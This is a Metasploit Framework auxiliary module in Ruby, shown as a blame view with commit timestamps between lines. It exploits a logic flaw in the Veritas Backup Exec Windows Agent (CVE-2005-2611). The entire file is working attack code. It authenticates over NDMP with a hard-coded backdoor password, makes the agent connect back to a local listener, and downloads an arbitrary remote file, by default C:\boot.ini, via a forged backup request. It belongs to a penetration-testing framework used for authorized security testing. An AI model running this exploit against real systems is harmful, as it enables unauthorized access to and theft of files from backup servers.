2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-12-03 23:18:20 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::NDMP
|
2006-12-03 23:18:20 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-12-03 23:18:20 +00:00
|
|
|
'Name' => 'Veritas Backup Exec Windows Remote File Access',
|
|
|
|
'Description' => %q{
|
|
|
|
This module abuses a logic flaw in the Backup Exec Windows Agent to download
|
|
|
|
arbitrary files from the system. This flaw was found by someone who wishes to
|
2010-04-30 08:40:19 +00:00
|
|
|
remain anonymous and affects all known versions of the Backup Exec Windows Agent. The
|
|
|
|
output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program
|
2006-12-03 23:18:20 +00:00
|
|
|
listed in the references section. To transfer an entire directory, specify a
|
|
|
|
path that includes a trailing backslash.
|
|
|
|
},
|
2012-05-26 20:30:20 +00:00
|
|
|
'Author' => [ 'hdm', 'Unknown' ],
|
2006-12-03 23:18:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-12-03 23:18:20 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2011-07-24 19:20:02 +00:00
|
|
|
['CVE', '2005-2611'],
|
2010-04-30 08:40:19 +00:00
|
|
|
['OSVDB', '18695'],
|
2006-12-03 23:18:20 +00:00
|
|
|
['BID', '14551'],
|
|
|
|
['URL', 'http://www.fpns.net/willy/msbksrc.lzh'],
|
|
|
|
],
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
['Download']
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Download'
|
|
|
|
))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(10000),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptAddress.new('LHOST',
|
2006-12-03 23:18:20 +00:00
|
|
|
[
|
|
|
|
false,
|
|
|
|
"The local IP address to accept the data connection"
|
|
|
|
]
|
|
|
|
),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptPort.new('LPORT',
|
2006-12-03 23:18:20 +00:00
|
|
|
[
|
|
|
|
false,
|
|
|
|
"The local port to accept the data connection"
|
|
|
|
]
|
2010-04-30 08:40:19 +00:00
|
|
|
),
|
|
|
|
OptString.new('RPATH',
|
|
|
|
[
|
2006-12-03 23:18:20 +00:00
|
|
|
true,
|
2010-04-30 08:40:19 +00:00
|
|
|
"The remote filesystem path to download",
|
2006-12-03 23:18:20 +00:00
|
|
|
"C:\\boot.ini"
|
|
|
|
]
|
|
|
|
),
|
2010-04-30 08:40:19 +00:00
|
|
|
OptString.new('LPATH',
|
|
|
|
[
|
2006-12-03 23:18:20 +00:00
|
|
|
true,
|
2010-04-30 08:40:19 +00:00
|
|
|
"The local filename to store the exported data",
|
2006-12-03 23:18:20 +00:00
|
|
|
"backupexec_dump.mtf"
|
|
|
|
]
|
2010-04-30 08:40:19 +00:00
|
|
|
),
|
2006-12-03 23:18:20 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2010-04-15 02:09:08 +00:00
|
|
|
print_status("Attempting to retrieve #{datastore['RPATH']}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-07-01 23:33:07 +00:00
|
|
|
lfd = File.open(datastore['LPATH'], 'wb')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
connect
|
|
|
|
data = ndmp_recv()
|
|
|
|
if (not data)
|
|
|
|
print_error("Did not receive a response from the agent")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
username = "root"
|
|
|
|
password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
#
|
|
|
|
# Authenticate using the backdoor password
|
|
|
|
#
|
|
|
|
auth = [
|
|
|
|
1,
|
|
|
|
Time.now.to_i,
|
|
|
|
0,
|
|
|
|
0x0901,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
2,
|
|
|
|
username.length,
|
|
|
|
username,
|
|
|
|
password
|
|
|
|
].pack('NNNNNNNNA*A*')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
print_status("Sending magic authentication request...")
|
|
|
|
ndmp_send(auth)
|
|
|
|
data = ndmp_recv()
|
|
|
|
if (not data)
|
|
|
|
print_error("Did not receive a response to our authentication request")
|
|
|
|
disconnect
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2006-12-03 23:18:20 +00:00
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Create our listener for the data connection
|
|
|
|
#
|
|
|
|
print_status("Starting our data listener...")
|
|
|
|
sfd = Rex::Socket.create_tcp_server(
|
|
|
|
'LocalPort' => datastore['LPORT']
|
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
local_addr = (datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']))
|
|
|
|
local_port = sfd.getsockname[2]
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
#
|
|
|
|
# Create the DATA_CONNECT request
|
|
|
|
#
|
|
|
|
conn = [
|
|
|
|
3,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
0x040a,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
1,
|
|
|
|
Rex::Socket.gethostbyname(local_addr)[3],
|
|
|
|
local_port
|
|
|
|
].pack('NNNNNNNA4N')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
print_status("Sending data connection request...")
|
|
|
|
ndmp_send(conn)
|
|
|
|
data = ndmp_recv()
|
|
|
|
if (not data)
|
|
|
|
print_error("Did not receive a response to our data connection request")
|
|
|
|
sfd.close
|
|
|
|
disconnect
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2006-12-03 23:18:20 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Wait for the agent to connect back
|
|
|
|
#
|
|
|
|
print_status("Waiting for the data connection...")
|
|
|
|
rfd = sfd.accept()
|
|
|
|
sfd.close
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
#
|
|
|
|
# Create the Mover Set Record Size request
|
|
|
|
#
|
|
|
|
msrs = [
|
|
|
|
4,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
0x0a08,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
0x8000
|
|
|
|
].pack('NNNNNNN')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
print_status("Sending transfer parameters...")
|
|
|
|
ndmp_send(msrs)
|
|
|
|
data = ndmp_recv()
|
|
|
|
if (not data)
|
|
|
|
print_error("Did not receive a response to our parameters request")
|
|
|
|
disconnect
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
#
|
|
|
|
# Define our tranfer parameters
|
|
|
|
#
|
2010-04-30 08:40:19 +00:00
|
|
|
xenv =
|
2006-12-03 23:18:20 +00:00
|
|
|
[
|
|
|
|
['USERNAME', ''],
|
|
|
|
['BU_EXCLUDE_ACTIVE_FILES', '0'],
|
|
|
|
['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"]
|
|
|
|
]
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
#
|
|
|
|
# Create the DATA_START_BACKUP request
|
|
|
|
#
|
|
|
|
bkup = [
|
|
|
|
5,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
0x0401,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
4
|
|
|
|
].pack('NNNNNNN')
|
|
|
|
bkup += "dump"
|
|
|
|
bkup += [ xenv.length ].pack('N')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
#
|
|
|
|
# Encode the transfer parameters
|
|
|
|
#
|
|
|
|
xenv.each do |e|
|
|
|
|
k,v = e
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
# Variable
|
|
|
|
bkup += [k.length].pack('N')
|
|
|
|
bkup += k
|
|
|
|
bkup += Rex::Encoder::NDR.align(k)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
# Value
|
|
|
|
bkup += [v.length].pack('N')
|
|
|
|
bkup += v
|
2010-04-30 08:40:19 +00:00
|
|
|
bkup += Rex::Encoder::NDR.align(v)
|
2006-12-03 23:18:20 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
bkup[-1, 1] = "\x01"
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
print_status("Sending backup request...")
|
|
|
|
ndmp_send(bkup)
|
|
|
|
data = ndmp_recv()
|
|
|
|
if (not data)
|
|
|
|
print_error("Did not receive a response to our backup request")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
#
|
|
|
|
# Create the GET_ENV request
|
|
|
|
#
|
|
|
|
genv = [
|
|
|
|
5,
|
|
|
|
0,
|
|
|
|
0,
|
|
|
|
0x4004,
|
|
|
|
0,
|
2010-04-30 08:40:19 +00:00
|
|
|
0
|
2006-12-03 23:18:20 +00:00
|
|
|
].pack('NNNNNN')
|
|
|
|
|
|
|
|
print_status("Sending environment request...")
|
|
|
|
ndmp_send(genv)
|
|
|
|
data = ndmp_recv()
|
|
|
|
if (not data)
|
|
|
|
print_error("Did not receive a response to our environment request")
|
|
|
|
disconnect
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
2006-12-03 23:18:20 +00:00
|
|
|
# Start transferring data
|
|
|
|
#
|
|
|
|
print_status("Transferring data...")
|
|
|
|
bcnt = 0
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
begin
|
|
|
|
while (data = rfd.get_once)
|
|
|
|
bcnt += data.length
|
|
|
|
lfd.write(data)
|
|
|
|
end
|
2008-11-11 06:00:54 +00:00
|
|
|
rescue ::EOFError
|
2006-12-03 23:18:20 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
lfd.close
|
|
|
|
rfd.close
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
print_status("Transferred #{bcnt} bytes.")
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-12-03 23:18:20 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-11 06:00:54 +00:00
|
|
|
end
|